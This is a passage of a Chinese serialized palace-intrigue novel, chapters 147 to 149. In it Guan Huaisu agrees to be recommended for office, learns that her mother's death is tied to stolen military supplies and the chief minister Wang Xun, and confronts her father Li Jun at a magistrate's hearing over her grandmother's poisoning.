就在这种情况之下,婉淑出嫁了。 家里接连出事,婚期又被接连提前,加上又是祖母热孝之中出嫁,婉淑的这场婚事办的十分让她不满。 先别提宴席,便是宾客因为通知的仓促,许多都来不了。 唯一的好处是孙大娘子办老夫人的葬礼,得了仓库钥匙,很是搜刮了一些好东西给婉淑压箱底,倒叫婉淑心情勉强快活了些。 只是她洞房花烛之夜,赵二郎竟一夜未回来。 红烛燃了一晚上,婉淑枯坐到天明,赵二郎一大早才匆匆过来赔罪,说吃酒吃太多了,没想到小厮竟然扶着他去了书房睡,真是对不住云云。 婉淑哪里能不知道,应是他那位青梅竹马的通房故意在给自己示威,但是她想到阿娘的告诫,硬生生地忍下来,假装什么都不知道,跟着赵二郎去前院喝茶。 到了前院,赵夫人和赵大人早知道了昨晚上的事情,很是训斥了赵二郎一番,又安慰起婉淑。 婉淑更加认真伺候起公婆来,一时倒是叫赵二郎心中起了愧疚之心,很是痛快地把院子里的事情都交给婉淑安排。 只是原本管事情的通房自然不愿意,婉淑刚嫁人,便忙起内宅斗争来。 第一百四十七章 赵白芷来访 关怀素自然没有参与婉淑的婚礼,她在家中休息,就听说太子良娣来了。 关怀素大惊,忙主动去门口相迎! 二人这次见面,不知为何都有种时光荏苒的感觉,明明才几日不见,竟像是隔了许多日子一般。 “姐姐,我得知了你的消息,一直想来看看,可是递话了好几次,都说你在静养,好容易听说今儿好多了,我便赶紧来了!”赵白芷亲热地抓住关怀素的手,上下打量一下,见她气色还行,便稍微松了口气。 关怀素十分感动,眼圈红了,说:“没想到到了这个时候,我声名扫地,竟还有白芷妹妹来看我。” “哪有什么声名扫地。”赵白芷却摇摇头,说,“姐姐性情高洁阔达,怎会做那等污遭之事?我一点也不信那些流言。” 关怀素闻言,心中大为感动,轻声说:“相识满天下,知心能几人?这辈子能有白芷妹妹这等知己,是我的福气。” 二人相视一笑,关怀素看赵白芷肚子大了,连忙请她进屋坐下。 坐下之后,赵白芷主动开口,笑着说:“说来惭愧,我这次来,还有自己的私心。” 看关怀素不解,赵白芷便笑着说:“姐姐,近日京师大大小小的雨绵延不断,尤其是最近,已经下了小半个月了。” “是,最近天气确实湿哒哒的。”关怀素点头附和。 “这大小的暴雨小雨下下来,往年京师早就积水了。今年却因为有了姐姐和平安侯疏通水道,京师竟无一百姓死亡!有些房屋老旧地垮塌了,但是却都没出什么大事。”赵白芷开心地说完,看关怀素也十分喜悦,便轻声说,“因前些日子姐姐的事情闹得厉害,我想叫陛下想起姐姐的好处,便把此事禀告了上去,圣人十分喜悦。” 关怀素不明所以,她不觉得此事对现在的自己有什么用,圣人再欣赏,也不能为现在的她脱罪。 “我想举荐姐姐出仕。”赵白芷轻声说出来意。 这一句话不啻于一道惊雷,叫关怀素愣住了。 赵白芷说完,看关怀素愣住,便拍拍关怀素的手,笑着说:“姐姐别害怕,我只是与姐姐商量,若是姐姐不愿,那便算了。” 关怀素看她笑容温婉,但是方才还不觉得,此刻坐近了看,便能看到赵白芷眼下有粉也遮盖不住的乌青,还有掩不住的疲乏。 她心中对赵白芷已觉推心置腹,于是考虑一下,便直接问:“我把妹妹当作自己的亲妹妹,我的事情放在一边,我想先斗胆问一句,妹妹,到底是有什么让你如今紧张疲惫,竟怀胎这么紧要的时候,还在苦心孤诣地谋划?” 赵白芷闻言,笑容淡了,轻叹一声,说:“知道瞒不住姐姐。只是许多事情,我不好与姐姐细说。” 关怀素一听,立刻皱眉低声说:“我与妹妹说些交心的话,中宫位置稳固,殿下又是独子,妹妹怀的是殿下唯一的孩子,如今天大的事情也比不过你的肚子啊!” 赵白芷闻言,心中一软,面露感动之色,压低声音对关怀素说:“姐姐说得极是,我也知道,只是我隐约觉得不对劲,心中实在不安。” 关怀素瞧她如此,愈发担心,说:“我说得粗莽一些,妹妹难道是担心太子妃会趁着生产时对你做什么?东府都是妹妹在管,想来平素也没什么问题,若是担心,到时候叫赵夫人去府里坐镇就是,何必忙着推举人出仕,插手朝堂,还是推举女子,到时候平白惹出许多风波来,反倒不美。” 赵白芷闻言,心中愈发感动,眼圈一红,拉着关怀素的手,轻声说:“我知道也就姐姐万事都替我先想着,其他的,都是等着我打算。如此,我也不怕叫姐姐知道。” 她压低声音,在关怀素耳边轻声说:“不瞒姐姐,自打我怀了这个孩子之后,太子妃那边……十分不对劲。” 关怀素一愣,倒也并不惊讶,皱眉问赵白芷:“她想怎地?妹妹你可是圣旨亲封的太子良娣,她胆敢下手,疯了不成?!” “她哪里不敢?”赵白芷苦笑一声,说,“王相权势滔天,她面上对太子殿下也十分守礼,挑不出错,我知道她在打算,但是我抓不到证据,若是闹出去,反而显得我借着有孕想压太子妃一头……” 这种场景,关怀素立刻明白了,赵白芷一定是发现了什么,但是却又不足以当作证据和太子妃正面对上。 关怀素登时便明白赵白芷的意思了,她微微皱眉,说:“所以你想推举我,是想趁机正面试探一下太子妃?” 赵白芷轻轻点头,有些羞愧地对关怀素说:“我入府时间太短就有孕,家里太多钉子,生产之前若是不拔干净,只怕就有性命之危。可太子妃十分沉得住气,我试探好几次,她丝毫不为所动,不过这么久下来,倒叫我发现了,太子妃什么都不在意,可却十分在意自己的威严和身份,所以……” 所以以良娣的身份出来行太子妃职责,一定会惹怒太子妃。 一个冷静蛰伏的对手实在是太过可怕,赵白芷需要激怒对方,毕竟人只要一怒必动,赵白芷也不是缺手段的人,自然能与太子妃来回过招! 反正正面发作也是叫人觉得自己恃宠生娇,不如就干脆坐实了恃宠生娇的名分,好歹还能保住自己的性命! 关怀素瞬间懂了。 赵白芷说完,握住关怀素的手,着急地说:“我办这事儿,纯粹是因为自己的私心,但是也不是平白叫姐姐担上风险!” 赵白芷细细解释:“一则我不会叫姐姐一人去面对满朝非议,我已经与宋兰妹妹、厉姐姐等人都谈过,姐姐若是答应,第一回我推举出去的姐妹有十几人,不会叫满朝眼光都集中在姐姐一人身上;二则,我以为,姐姐目前遭遇之事,不能作为家事审理,若能闹大一些,叫人注意到……李家那些行为并不十分隐蔽,哪怕是王相出面帮李珺遮掩,只要姐姐被圣人注意到,到时候许多事情就不是一两人能压下去的了。” 不得不说,不愧是赵白芷,三言两语便把事情的利害解释得彻底。 而且最叫关怀素欣赏的,是赵白芷足够坦荡。 这些事情关怀素自己都想得清楚,赵白芷一点也不藏着掖着,态度也十分平和,一点也不趁机以势压人,以赵白芷今时今日的地位,确实是与她知心相交。 关怀素愈发爱慕赵白芷这份君子风骨,便握住她的手,轻声说:“妹妹既然说得如此好,我如何敢不从?” “姐姐可想好了,此事事关重大,一旦我陈书上去,姐姐一瞬间就要成为旋涡的中心,此中风险不低……”她这么简单答应,倒是叫赵白芷惊了,生怕是关怀素没想清楚其中利害关系,连忙想仔细分析。 “我想好了。”关怀素握住赵白芷的手,认真地看着她说,“一则妹妹说的是,我如今这个情况,若是真有什么,摸不准真的会叫李家下黑手,为了自保,我站出来,叫圣人目光垂询到此处,对我是好事;二则……” 关怀素握着赵白芷的手,说:“妹妹把我当好友,事事为我打算,出事之后立刻替我想办法。那难道我关怀素便是那胆怯小人,便不愿意伸手助朋友一臂之力吗?” 赵白芷闻言,眼圈登时一红,眼泪立刻断线珍珠一般垂下。 她侧过头去,羞窘地说:“姐姐,我失态了。” “这算得上什么失态。”关怀素一笑,说,“我前几日被打得下不得床,那才叫失态呢。” 赵白芷闻言,立刻着急地转头过来问:“我听说姐姐伤得十分严重,李家果真如此狠心?” 看关怀素叹气,赵白芷便怒气上来,冷声说:“我早看出来李家对婉玉姐姐十分狠心,却没想到竟狠毒成这样,李大人名声极好,私底下却是个苛待孩子的伪君子!” 她说到这里,突然放低声音,对关怀素说:“妹妹,我今儿来,还有一件事情要告诉你。” “什么?”关怀素好奇地问。 “当初李大人为了你的母亲关娘子求药,拜王相为老师,你可知道?”赵白芷看到关怀素摇头,咬咬唇,有些紧张地轻声说,“那时我还未出生,也是听我娘说起闲话,听我娘说,李大人早在此事之前,当时来我家里,就已经称呼王相为老师了。” 关怀素皱眉。 赵白芷压低声音说:“姐姐可明白,在关娘子还在的时候,李大人便已经与王相成了师徒。” “我娘和祖父都十分厌恶古板学说,我娘不可能愿意嫁给崇尚王寻的人。”关怀素不是蠢人,赵白芷这么一说,她立刻意识到了什么,喃喃自语说,“王相在京师经营多年,吏部便是王相起家的地方,李珺殿试之后没有被安排到吏部,只是翰林院编修,到了和我娘认识之前,才被调任到吏部做员外郎……他会不会一开始就是王相的弟子?不,不太可能,如果这样,祖父和我娘绝对不可能没发现,应该是他一开始就表露过对王相的倾慕,所以王相在发现他与我娘相识之后,可能在背后使了些力气,而后一切顺水推舟……” 关怀素说着,脑子里已经逐渐理清楚了这里面的一段故事。 如果赵白芷说得没错的话,那么父亲与王寻的关系会比大家知道的更密切,可能一些极其重要的事情,李珺都会下意识找王寻去问。 因为李珺没有父亲,没有家族作为支撑,他又极度倾慕王寻的学说,那么王寻很容易干涉他的思想。 祖父曾提过一嘴,说王寻此人阴毒,很擅长恶心人,若为重臣,很容易尾大不掉。 王寻如此心胸,再加上祖父有教无类,又雇女子做工,甚至教导她们手艺,此人必然看不惯祖父的行为。 二人也曾在朝堂针锋相对。 那么,一个年轻有才华的、崇拜自己学说的年轻人,成为死对头唯一女儿的夫婿……对王寻来说,顺水推舟促成此事,对他来说绝对是个不费力气又能恶心老对头的办法。 根据王家会盯上姐姐,想让姐姐替太子妃生子,而后去母留子的做法,王寻未必就不会顺便给关家埋下李珺这颗钉子恶心人,甚至在关键时刻……王寻会不会做什么? 李珺不是短时间能找到杀手去八仙庄杀人的人,关怀素与他相处下来,自问对李珺这人的性子已经了解得十分透彻。 李珺绝不是大奸大恶之人,主要是,他没有这个胆子。 李珺此人十分伪善,他自诩清流君子,已经快把自己都骗过去了,他不是那种主动出击的人,连杀她的那个晚上,都是孙萍过来动手。 但是如果有人推他一把,不用他动手,或是帮他办事,他也绝对会假装不知道。 “当时李珺找王相替我娘求药,这事儿你知道吗?”关怀素电光火石之间已经想清楚了来龙去脉,立刻问赵白芷。 赵白芷目露了然与敬佩之色,显然十分惊讶她才说了一句话,关怀素便已经明白她的全部言下之意,便点点头,轻声说:“当时关娘子的药方里,要一味非常重要的、五十年份以上的姜黄。这东西不贵,但是年份久的少见,关娘子下红不止,李珺满京师打听下来,便只打听到了王相家里有这药。” “所以他上门去求药,为此还正式拜了王相为师?”关怀素问。 看到赵白芷点头,关怀素闭了闭眼睛,突然开口,说:“我娘的死,许与王寻也有关系。” 赵白芷没说话,二人心力相当,显然不再需要多说。 毕竟李珺此人,聪明人都看得出他的脾性,他自恃清高孤傲,或许对王相的学说确实也有一定倾慕,可他原有老师,还有关老爷子这个半师和岳父,他若是再拜王相为师,若是未处理好,便容易叫人觉得是趋炎附势之徒。 所以他无事绝不会随意再拜师,尤其是王相这等位高权重的。 可他却下决心拜了王相为师,那么王相一定给了他非常重要的帮助,以至于在某种程度上,二人在那一刻,初步地缔结同盟,确认对方都上了一条船。 当时王相给李珺指了什么路? 看看李珺后来得到的一切就知道了——闹着和离的关娘子死了,没了掣肘,与被逐出京师权利圈层的关家逐渐分道扬镳,在吏部风生水起,一步一步稳扎稳打,十几年混了个名声好实权在握的清官,若不是关怀素来了京师,那么等到姐姐死了,李珺面前紧接着就是拜相之路…… 这就是王相当初承诺给李珺的未来吗? 那么,李珺用了什么去换了这份未来? 阿娘的死,对王寻来说真的如此重要吗?为何如此重要? 关怀素感觉到她触摸到了什么,什么极其关键的东西,她激动得鸡皮疙瘩都要起来,头脑仿佛有被闪电穿过。 可是她还是没办法抓到那一丝灵光是什么,一切都太快了,信息量也太少太少了些。 “怀素姐姐。”赵白芷看着她不对,立刻抓住她,说,“快停!” 关怀素回过神来,才发现自己后背已经汗湿,头疼欲裂。 “你伤还未好全,穷思竭虑可不是好事。”赵白芷忧心忡忡地说,“我来探病,若是叫姐姐病情加重,日后可再不敢来了。” 关怀素努力地露出笑容,拍拍赵白芷的手,轻声说:“我知道了。” 二人又说了会子话,互道珍重,关怀素便送赵白芷离开了。 这时候所有人都没想到,又过三日,河北传来急信,闵太医遇袭! 圣人派去悄悄接闵太医的侍卫措手不及,全数被灭口,只来得及传了一封信回京报告! 第一百四十八章 刘仁失势 关怀素知道消息的时候,是周乐天突然半夜被圣人召见,而后回来之后,立刻清点家丁找人把她的院子保护起来。 “我要带人去河南一趟,这件事情越来越奇怪了。”周乐天从外面进来,两人认识一年多,这是关怀素多年后第一次见到周乐天穿上了甲胄。她还在震惊,周乐天进门就说,“你可知道,闵太医游学天下,为的是替圣人求药?” 这件事情关怀素当然不知道,她摇头,震惊地问:“我不知,这是出什么事情了?” “圣人身子不好,在你叫师兄找人之前,圣人已经派人去秘密召回闵太医,结果前几日半途刚出河北,便被一群训练有素的人截杀。”周乐天说。 关怀素登时急了,连忙问:“我师兄可在里面?闵叔叔又如何?” “圣人派去的侍卫死战不退,闵太医和孙师兄结伴逃走,生死不知。”周乐天沉声说完,看关怀素脸色惨白,立刻安慰:“我即刻就要出发,你放心,只要他们还活着,我定然把他们全须全尾地带回来!” “可是你的身体也没好全啊!”关怀素登时着急了,说,“不能找别人吗?” 周乐天摇头,说:“此事来得古怪,京师最近也不太平,我在院子外头加派了人手,我不在京师的日子,你出去一定要带上他们,好吗?” 关怀素闻言,心中紧张,压低声音说:“侯爷,你老实跟我说,圣人的身子是不是等着闵叔叔救命?” 看到周乐天微微点头,关怀素倒抽一口凉气。 周乐天点头准备告辞,刚转身,突然转过身来。 “侯爷还有事?”关怀素紧张地问。 “我回来之后,怀素姑娘可以叫我乐天吗?”周乐天却突然认真地问。 关怀素愣了一下,而后脸庞微微泛起红晕。 她郑重点头,说:“好。” 看着周乐天离开,关怀素对身边的柳叶说:“糟糕了,我可能连累了圣人。” 柳叶登时一愣,忙问:“姑娘怎么这么说?” “闵叔叔的踪迹飘忽,一般人绝对发现不了,偏阿娘当年与闵叔叔有约定,被我找到了传信之法。”关怀素轻声说,“且我出事之后不放心,又叫师兄去寻着方向找过去,若是有人一直盯着这件事,很容易就顺藤摸瓜。” 看着柳叶吓得脸色青白,关怀素也是紧张得浑身发冷,她喃喃自语地说着:“这是一个可能,但是我觉得,谁会光天化日之下,敢对圣人动手?这与谋反无异啊!所以我怀疑还有个可能,此事或许也是因为我,但是为了针对我对闵叔叔动杀招,对方压根不知道此事连累了圣人……” “是李家?”柳叶立刻双眼放光,说,“是李家人!绝对的,一般人谁敢这样动手?何况那些人难道就不怕圣人震怒之下诛连九族?” “我也是如此想。”关怀素缓缓地点头,坐在了凳子上,她手心都已经满是冷汗,捏着帕子轻声说,“只是……到底谁派的杀手?是李珺找的人,还是谁?” 关怀素正没头绪,外头来人说大长公主召见。 关怀素不敢耽搁,立刻一路去东府面见。 大长公主刚换了衣衫,看到关怀素过来,立刻便问:“我才回来,李家到底是怎么回事?” 关怀素想蹲身请安,却被大长公主上前亲手扶起,而后温声说:“怀素,你的身份,我早就知道了,无论如何,你都是素问的女儿,也是我的亲侄女,你受了什么委屈,只管与我说清楚。我这些年虽不如以前,但是护住你还是没问题。” 她说到后面几句,脸上已经浮现出煞气,显然是对李珺动了杀机。 关怀素本来心中十分惴惴不安,此刻听到大长公主对自己如此亲切,眼圈一红,登时落下泪来,才唤了一句:“伯娘……” 而后泪如雨下,竟是说不完话。 柳叶也哭了,连声说:“姑娘身份暴露之后,李珺叫大娘子过来,带了毒酒和绸缎,当时还想亲手勒死姑娘,我护着姑娘想打出去,李家家丁倾巢而出,根本没打算留活口,姑娘本来小时候生下来就胎里不足,如今被打的旧伤复发,李家人是真的想杀了姑娘啊!殿下,如今天下之大,姑娘没有一个长辈,求殿下为姑娘做主!” 大长公主听完,咬牙说:“我知道了。” 又心疼地摸了摸关怀素的脑袋,对着关怀素说:“你去后面屏风里头坐着。” 柳叶立刻低头扶着关怀素,一路去了屏风后面。 那后面摆好了凳子和清茶,以及一些瓜果。 关怀素和柳叶才坐下,便听到外头传来声音,说:“殿下,安乐侯到了。” “叫那个孽障进来!”大长公主冷声吩咐。 这一说完,外头刘仁便带着紧张的婉蓉一起进了屋。 一进门二人就一起跪下,刘仁还在笑嘻嘻地说:“母亲是想我了么?听说您才回京师就召见我们!” 又指着婉蓉说:“蓉儿进门已经好几个月了,母亲也一直没见过她,今儿是来认人吗?” 关怀素在屏风后看着,惊讶于刘仁的迟钝。 他竟然一点也没发现大长公主的异常,或者说,他习惯了大长公主对他格外的宠爱和溺爱,所以才压根没养成一点察言观色的本领。 他压根没看出来大长公主今儿心情多差,书房里侍候的女官又多么沉默压抑。 “仁儿。”大长公主开口,说,“我听说你前几日,动了我给你赐下的家将,去河北截杀平民?” 这话一出口,刘仁终于才意识到不对劲,立刻说:“母亲,不是,我没有随意滥杀贫民,你不知道,那郎中不是好人,若是他回京,说不定会害了蓉儿的小娘啊!” “哦?李婉蓉,你便是这么跟仁儿说的?”大长公主便问婉蓉。 婉蓉吓得在哆嗦,抖抖索索地回:“回殿下,我、我……” “蓉儿你怕什么,你只管说!”刘仁看到婉蓉在发抖,立刻心疼地对大长公主说,“母亲你别吓到蓉儿,她和小娘在李家生活很不容易,当初因为关娘子,她娘还落了个胎呢!都是怀胎,凭什么因为关娘子要嫁进门,便逼得蓉儿的小娘落胎!由此可见,她定然也是个不容人的妒妇……啊!” 刘仁说到这里,却是惨叫一声,因为他脸上剧痛,一下子没站稳,回过神来才抚住刺痛的脸,刘仁震撼地看着大长公主,说:“母亲,你打我?!” “我打的就是你这个蠢货!我只恨这些年对你纵容太过,叫你成了如今这种蠢样子!”大长公主指着刘仁,冷声说,“你前后事情全数未曾调查,只听你这妾室一面之词,就敢派人击杀平民,你好大的胆子!” “我、我不过就是为蓉儿出气而已……”刘仁觉得十分委屈,一下子脑子发热,大声说,“母亲你竟然为了这种小事打我!你不就是因为我爹当初没有照拂关娘子,所以现在拿我出气吗?!” 这句话一说完,刘仁就意识到自己说错话了。 他想说什么,想撒娇,可是他看到了大长公主的脸色,吓得手脚发软,跪倒在地上。 大长公主看着他,冷冷地看着他。 刘仁感觉到这一刻十分漫长,而屏风后的关怀素也觉得这一幕让空气都粘稠了。 大长公主俯视着刘仁,脸上露出了某种非常古怪的、悲哀又疼痛的表情。 但是这只是很短暂的一瞬间,下一刻,她又是那个冷静且决胜千里之外的将军。 “刘仁,抬起你的头。”她看着刘仁抬起头,盯着刘仁战战兢兢的脸,轻声说:“你是因为我而尊贵,你的父亲是谁、什么心性,对我来说从来不重要,你要好好记住,你现在干了这么多蠢事还能安然无恙,就是因为你是从我肚子里爬出来的。” 说完,看着刘仁不解的眼神,大长公主的眼神变得无比冷漠,说:“滚。” 刘仁觉得这一瞬间,母亲对他的态度完全改变了。 他年幼,不明白这其中到底失去了什么,他想留下来。 白虹立刻上前,狠狠地拉了他一下,带走了刘仁。 “怀素,刘仁被我宠坏了。”大长公主疲惫地叹口气,对关怀素说,“你那二姐找刘仁去灭口,我方才得到的消息,他的人在路上也被杀完了。” 关怀素一愣,立刻意识到了什么,她浑身一震,脱口而出:“还有一拨人?” “是。”大长公主转头,看着关怀素说,“还有一拨人,死士传回来的消息,那伙人趁乱偷袭,杀人之后在继续追杀闵太医。” “……殿下,当初我娘到底牵扯到了什么?为什么会死?”关怀素看着大长公主,问,“与王相有关吗?我父亲到底在这里面扮演什么角色?” 关怀素死死盯着大长公主,看到大长公主脸上流露出一丝忧伤,轻声对关怀素说:“怀素,你想回永年县吗?我可以送你回去,且我可以保证京师的一切,都不会打扰到你。” “我不走!我姐姐和娘的仇人还未付出代价,我现在走,人家还真以为我杀了李老夫人!”关怀素摇头,说,“我不会在这种时候离开。” 大长公主仿佛知道她的答案一样,叹了口气,说:“怀素,你娘当初牵扯很多,我这些年一直想查,但是都没找到更多确切的证据。” 关怀素理解,若是真的查出什么,大长公主不会按兵不动。 “我想知道,我父亲到底在我娘的死里,扮演什么角色。我父亲不可能私养死士,满京师他唯一认识的、可能动用这种级别人手的,只有王相。”这是关怀素仔细思考之后的结果,她肃声拱手说:“伯娘,王寻怎么会为了我父亲动用死士?此种情况实在是惊人,我只能猜测,我娘的死因查下去,牵涉到了重要事情。” “难为你,才这么些笼统的消息,你便能猜出这么多,老师把你养得极好。”大长公主听她说完,目露激赏,叹了口气,对关怀素说:“当初,你阿娘死的时候,她手上的商号和一大批粮草和冬衣,在运输到半路的时候,失踪了。” 关怀素愣了一下,不明白大长公主是什么意思。 “我后来找人满天下地盯着,想找到这批东西到底去哪里了,可是哪里都没有。”大长公主看着关怀素,说,“几十万石粮食分一分,泥牛入海,查不到来处,是可能的。但是五万件冬衣,全数都是做了特殊标记的针法,也愣是没查出一点脉络。” 关怀素意识到了什么,说:“有人把东西藏起来了,或者……这些东西不在咱们这里了。” 大长公主面露欣赏,对关怀素点头,说:“十几年后,我和乐天生擒了狄夷人,在他们身上找到了这批衣服。” “狄夷劫走了这批物资?”关怀素问。 “我起初也是这么想的。”大长公主叹了口气,轻声说,“可是我回京之后,机缘巧合,查到了一些眉目。” “怀素,许多事情,我现在不方便和你多说。”大长公主看着关怀素,认真而温柔地说,“但是我想告诉你,你不要怕任何人、任何事,只要我和乐天在,没有人能动你。” 有人劫走物资、狄夷人穿上了物资,母亲的死和这件事有关系……关怀素瞬间理解到了什么,她惊恐地看着大长公主,说:“当初我娘身边出了奸细,还是公主这边出了问题?还是谁知道了我娘的计划、找到了运输的路线,这可是军机大事!我父亲当时才出仕,他怎会参与这种要紧的大事……王相、王相在里面又是做什么的?为什么他也要掺和我娘的死?!” “不要再想了,怀素。”大长公主抓住关怀素的肩膀,说,“不能再说了,嘘,不要再说下去了,怀素。” 接下来的事情,不能宣之于口,否则谁都不能保证会不会隔墙有耳。 这可是……动摇国本的大事。 “你只要记住,此事但凡有一点猫腻,我都会让里里外外的人,全部都付出代价。”大长公主看着关怀素,说,“血债一定会用血来偿还,这是我对你的保证。” 关怀素知道,这是大长公主能暗示的极限了。 周乐天的安排、大长公主的私语,这代表了一件事情,那就是,现在事态似乎已经有些不对劲了。 大长公主连在公主府都在提防人,可见她查到了不得了的事情,而对方显然也不是好相与的,否则不至于叫大长公主忌惮。 圣人身体不好,闵叔叔又生死不知,太子七情不开……真要是算计什么,只怕真的是要糟糕了。 关怀素心中纷乱复杂,就是这样的时候,太子良娣突然呈上荐官名表,圣人在朝堂提出此事,登时满朝哗然! 第一百四十九章 直面 朝堂里为了女官一事吵成一团。 官员们听到良娣荐官,虽然脸色古怪,但是开始尚且能忍。 毕竟如今这位良娣肚子里的孩子,许就是太子唯一的子嗣,母凭子贵,她若是想做点什么,一般也就只能看着未出世的皇孙忍了。 可一听说是女官,登时大家一片哗然! 大家吵闹之中,立刻就有人提到关怀素身负杀亲大罪,良娣推荐这种女子,实在是借着有孕恃宠而骄云云。 但是赵白芷早有安排,立刻便有人站出来,说杀亲所谓罪名根本没定下来,而且李家下人都拘在京师府大牢里,分明还在审理之中!不可凭空污人清白! 朝堂吵闹影响不到关怀素,此刻总算有个好消息——下毒流民被抓回来了。 关怀素并未见他们,程娘子处理得妥当,把人直接送去了府衙。 那头孙府尹接到消息,立刻叫人通知各方人马,下午便开堂审案。 一想到复杂的案情,忍不住就叹气起来。 结果一叹磕到了肿起来的牙花子,登时疼得嗷嗷叫起来。 “夫君,你这是怎地了?”帮着准备更衣的孙夫人登时急了,说,“可是又牙痛了?” 看孙府尹疼得眼睛都红了,孙夫人忙叫下人:“快去拿块冰来,给大人含着!” 急急忙忙含了冰,把那股天灵盖都快掀开的疼给压下去,孙夫人便叹气说:“这案子神仙打架,夫君你着急上火也没用啊,如今朝堂又为了这事儿吵起来,愈发麻烦,您只管秉公办理就是!” “这如何秉公办理?一个是公主最宠爱的安乐侯,这名号还是公主亲自求的!他的管事亲自上门,让我不许随意对待崔小娘,叫李婉蓉伤心。另一个更不得了,关姑娘如今可在公主府里养病,平安侯大半夜夜闯李家亲自救出来的,别看这位如今瞧着稳重安分,那可是带着**能直接打到狄夷的杀神!两个都是神仙啊,哎呦哎哟!”孙府尹激动地说到一半,牵动牙花子,疼得眼泪都要飙出来,大叫起来。 夫妻二人正说着话,丫鬟说三姑娘到了。 丽娘一进门,便请安对父亲说:“这几日父亲牙痛又犯得厉害,我听说钟姐姐家里有祖传的秘方,专门治口内疡疾,特地去找姐姐求了一些,父亲快些用吧。” 说完,丽娘便递上了一个小盒子。 孙府尹接过来一看,竟然是对症的寒瓜霜,这东西难得,女儿显然是花心思了,他登时心中熨帖。 而后便听女儿和母亲说起:“李婉蓉仗着安乐侯宠爱,最近很是嚣张跋扈,也算是老天有眼,前日她不知为何触怒了公主殿下,据说连着安乐侯都被训斥了,如今被禁足了!定然是秦家大娘子给公主诉苦了!” 丽娘说到这里开心起来,撇了撇嘴,又压低声音说,“婉淑也吃大亏了,据说她嫁去赵家之后,头两天都没圆房,赵二郎那个通房手段真的厉害,如今家里什么都紧着那通房,据说吃穿用度比婉淑还好!她真正是活该!” 说到后面,孙丽娘露出痛快的表情,说:“她喜欢算计人,把人当傻子,她当初辛辛苦苦人争赵二郎,结果争到最后,过这种苦日子!活该!” 孙夫人也露出痛快神色,恶狠狠地说:“活该!孙萍那**如今也是人人躲着,她欺压表姐妹、弹压表弟,对恩人如此,现在大家面上不说,谁私下敢再和她交心?” 母女二人说得痛快,但是孙府尹却是关注到了别的地方,他震惊地追问丽娘:“丽娘,你说大长公主申斥了安乐侯,还禁足了婉蓉?” “是啊,而且这几日安乐侯一直不许出门,专心备婚,我们都私下说,婉蓉许是惹了什么事情,如今失宠了!”孙丽娘说。 仿佛一道闪电打在孙府尹脑袋上! 他猛地牙一点也不痛了,压抑心中的喜悦追问丽娘:“丽娘,前几日你去看了关姑娘,公主府上如何?公主可真的很疼爱关姑娘?” “公主没回来,但是公主对关姐姐很关心。”丽娘想到了什么,说,“府中看家的女将听说我去看关姐姐,对我都很亲切!” 孙府尹登时心中大石落地。 他看着丽娘,笑了笑说:“丽娘,我的小福星!” 在孙夫人和丽娘都茫然的眼神之中,孙府尹眼神坚定起来,他压低声音说:“这一关虽然险,但是想想,我未必不能给丽娘报仇!” “夫君……”孙夫人虽恨孙萍害了女儿,但是更担心夫君的安危,想说什么,但是孙府尹却拍了拍她,说,“你放心,我心里有数,指不定办好了,我这仕途还能窜一窜呢。” 他起身准备去衙门,对孙丽娘说:“丽娘,你乖乖的,为父这回若是赢了,那你之前的事情,自然也就无事了!” 说完,他宠爱地拍了拍丽娘,转身往外走去。 丽娘见此,心中犹豫。 对母亲告退后,丽娘犹豫着往自己的房间里走。 但是走到一半,她却突然下定决心往外走。 “姑娘!老爷方才说了他有计较,您还是听老爷的话吧!”丫鬟记得恨不得哭了,说,“等会儿妈妈睡醒了知道您任性,又要生气了!” “我答应关姐姐的!”丽娘说,“我要去做!” “姑娘!您不怕耽误老爷的事儿么?!”丫鬟登时着急了。 “侯爷和殿下都喜欢关姐姐,会护着关姐姐!”丽娘说,“我为了关姐姐出去作证,他们不会亏待我爹的!” 说完,丽娘不顾劝阻,上了马车就一路往府衙而去! 这些角落发生的小事,关怀素并不知道,这回审案,她已经恢复了一些,自然也在被传召之列。 她并没有任性,带着周乐天安排的人,一路与程娘子在府衙门口会合。 到了门口,刚巧撞上李家的马车,李珺带着孙大娘子和崔小娘一起下了马车,远远看到关怀素,神色愣了一下,而后露出不喜的神色。 “不愧是在乡下长大的,真是行事张狂。”孙萍见她带了一群家丁,威势极盛,便立刻开口叹息似的对李珺说。 李珺微微皱眉,轻声说:“走,我们先进去。” 衙门大开,几人进去之后,逐一落座。 孙府尹也不耽搁,升堂之后立刻一语惊人:“严妈妈已经在牢中招供,李珺,你可知道,严妈妈得了一千两赏赐,乃是由你家崔小娘所赐?” 李珺一惊! 他在家里这几日也不是白忙活,家里下人都安抚打点,保准在牢里的下人也不会胡说八道。 至于严妈妈的赏赐,孙萍前后细细梳理,确实无人赏赐,便都以为是老夫人临终给的钱。 谁知道兜了一圈,竟落到了崔小娘头上? 李珺愣了一下,立刻反应过来,拱手说:“崔小娘自幼伺候我娘,这应该是她替我娘赏赐贴身人……我娘这半年一直身子不好,跟我也说过,这些妈妈伺候了她一辈子,临走之前,她想留些体己给她们,还嘱咐我好几次,定要好好照顾好她们……” 说到后面,李珺已经眼含热泪。 “李老夫人仁善啊,竟连身边下人也安排得这么好。”外面就有围观百姓唏嘘感慨。 许多人也应声附和,只夸李家是仁善之家。 “李大人对家中小娘倒是仁义,母亲**而死,小娘赏赐巨额钱财,这会子却不觉得是她收买人心、毒害母亲了?”程娘子冷笑一声,“怀素才赏了五十亩地,你就说她一定是**凶手,李大人,你不觉得你这前后态度太矛盾了吗?” 大家登时也反应过来,是啊!这实在是太矛盾了。 “那小娘说不准也是为了钱财动手害老夫人呢?”外头果然就有人说。 “不可能!我家这小娘性子纯善、自幼被我母亲抚养长大,二人情同母女,她不可能害我母亲!”李珺呵斥! “可我可是与祖母血脉至亲,若是祖母待我仁善,我怎么会毒杀血亲?”关怀素打破了沉默,看着李珺,说,“为何李大人在事发之后一直笃定是我毒杀祖母,你是心虚吗?是心虚我姐姐这些年过的什么日子,又心虚我姐姐受了太多委屈?你难道也知道我姐姐被百般**,所以才会稍微一有事就猜测她会**报仇?你是心虚,也觉得如此仇恨,需要用血来偿还吗?!” 关怀素这几句话,仿佛大女儿化为厉鬼重生,站在面前指责他。 “你胡说!”李珺气急败坏地说,“当初、当初或许确实有刁奴欺主,但是我发现之后,不也是马上处理了吗?家中何时有故意苛待?” “是不是故意苛待,争执这些也没用,不过我找到了杀害我姐姐的凶手,还请孙府尹明断!”关怀素并不欲与李珺在这种事情上纠缠,既然安排到位,便立刻引入正题! 这事儿李家人都不知道,此刻听着,都面露异色。 等到**那五人被带上公堂之后,崔妙人的脸色登时就变了。 